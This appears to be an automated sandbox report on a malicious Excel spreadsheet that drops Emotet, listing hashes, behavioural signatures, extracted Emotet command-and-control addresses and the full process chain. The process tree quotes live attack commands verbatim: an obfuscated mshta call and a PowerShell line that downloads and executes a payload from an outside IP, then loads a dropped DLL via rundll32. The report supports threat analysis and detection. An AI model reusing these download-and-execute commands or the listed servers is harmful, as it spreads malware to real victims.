Analysis
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max time kernel
121s -
max time network
138s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
18-01-2022 15:50
Behavioral task
behavioral1
Sample
e6a55d3065b29b2634244c18d442d767860dde8b31b384e78ffa5a532f690a08.xls
Resource
win10-en-20211208
General
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Target
e6a55d3065b29b2634244c18d442d767860dde8b31b384e78ffa5a532f690a08.xls
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Size
128KB
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MD5
22024c28d98a0aa62558650d4be96202
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SHA1
2b145417423113d71bf9c988de67ebc2ded75471
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SHA256
e6a55d3065b29b2634244c18d442d767860dde8b31b384e78ffa5a532f690a08
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SHA512
6cf1ea3a5a151a833fbf9d5831d80583a15509183dc134b495cd26c41562bd2a8b159b170851a6f04c846592da00885ea93d4b58240d3f4db9f61285fcf84238
Malware Config
Extracted
http://0xb907d607/cc.html
Extracted
http://185.7.214.7/PP91.PNG
Extracted
emotet
Epoch4
131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:443
212.237.17.99:8080
79.172.212.216:8080
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66:8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124:443
203.114.109.124:443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.207:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
45.118.135.203:7080
176.104.106.96:8080
212.237.56.116:7080
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185.72.26:8080
41.76.108.46:8080
212.237.5.209:443
107.182.225.142:8080
195.154.133.20:443
162.214.50.39:7080
110.232.117.186:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1876 2996 cmd.exe 68 -
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
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Blocklisted process makes network request 5 IoCs
flow pid Process 33 2980 mshta.exe 34 3816 powershell.exe 38 3816 powershell.exe 44 3816 powershell.exe 49 3596 rundll32.exe -
Downloads MZ/PE file
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Loads dropped DLL 2 IoCs
pid Process 1216 rundll32.exe 976 rundll32.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\Kyjfnnbnh\wzxkudbicnqn.ltj rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
pid pid_target Process procid_target 3188 2980 WerFault.exe 74 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2996 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 19 IoCs
pid Process 3816 powershell.exe 3816 powershell.exe 3188 WerFault.exe 3188 WerFault.exe 3188 WerFault.exe 3188 WerFault.exe 3188 WerFault.exe 3188 WerFault.exe 3188 WerFault.exe 3188 WerFault.exe 3188 WerFault.exe 3188 WerFault.exe 3188 WerFault.exe 3188 WerFault.exe 3188 WerFault.exe 3188 WerFault.exe 3816 powershell.exe 3596 rundll32.exe 3596 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3816 powershell.exe Token: SeDebugPrivilege 3188 WerFault.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 2996 EXCEL.EXE 2996 EXCEL.EXE 2996 EXCEL.EXE 2996 EXCEL.EXE 2996 EXCEL.EXE 2996 EXCEL.EXE 2996 EXCEL.EXE 2996 EXCEL.EXE 2996 EXCEL.EXE 2996 EXCEL.EXE 2996 EXCEL.EXE 2996 EXCEL.EXE 2996 EXCEL.EXE -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2996 wrote to memory of 1876 2996 EXCEL.EXE 72 PID 2996 wrote to memory of 1876 2996 EXCEL.EXE 72 PID 1876 wrote to memory of 2980 1876 cmd.exe 74 PID 1876 wrote to memory of 2980 1876 cmd.exe 74 PID 2980 wrote to memory of 3816 2980 mshta.exe 76 PID 2980 wrote to memory of 3816 2980 mshta.exe 76 PID 3816 wrote to memory of 3652 3816 powershell.exe 79 PID 3816 wrote to memory of 3652 3816 powershell.exe 79 PID 3652 wrote to memory of 1216 3652 cmd.exe 80 PID 3652 wrote to memory of 1216 3652 cmd.exe 80 PID 3652 wrote to memory of 1216 3652 cmd.exe 80 PID 1216 wrote to memory of 976 1216 rundll32.exe 81 PID 1216 wrote to memory of 976 1216 rundll32.exe 81 PID 1216 wrote to memory of 976 1216 rundll32.exe 81 PID 976 wrote to memory of 1872 976 rundll32.exe 82 PID 976 wrote to memory of 1872 976 rundll32.exe 82 PID 976 wrote to memory of 1872 976 rundll32.exe 82 PID 1872 wrote to memory of 3596 1872 rundll32.exe 83 PID 1872 wrote to memory of 3596 1872 rundll32.exe 83 PID 1872 wrote to memory of 3596 1872 rundll32.exe 83
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\e6a55d3065b29b2634244c18d442d767860dde8b31b384e78ffa5a532f690a08.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2996 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1876 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/cc.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2980 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3816 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
PID:3652 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1216 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:976 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Kyjfnnbnh\wzxkudbicnqn.ltj",rgnahi8⤵
- Suspicious use of WriteProcessMemory
PID:1872 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Kyjfnnbnh\wzxkudbicnqn.ltj",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:3596
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2980 -s 16564⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3188
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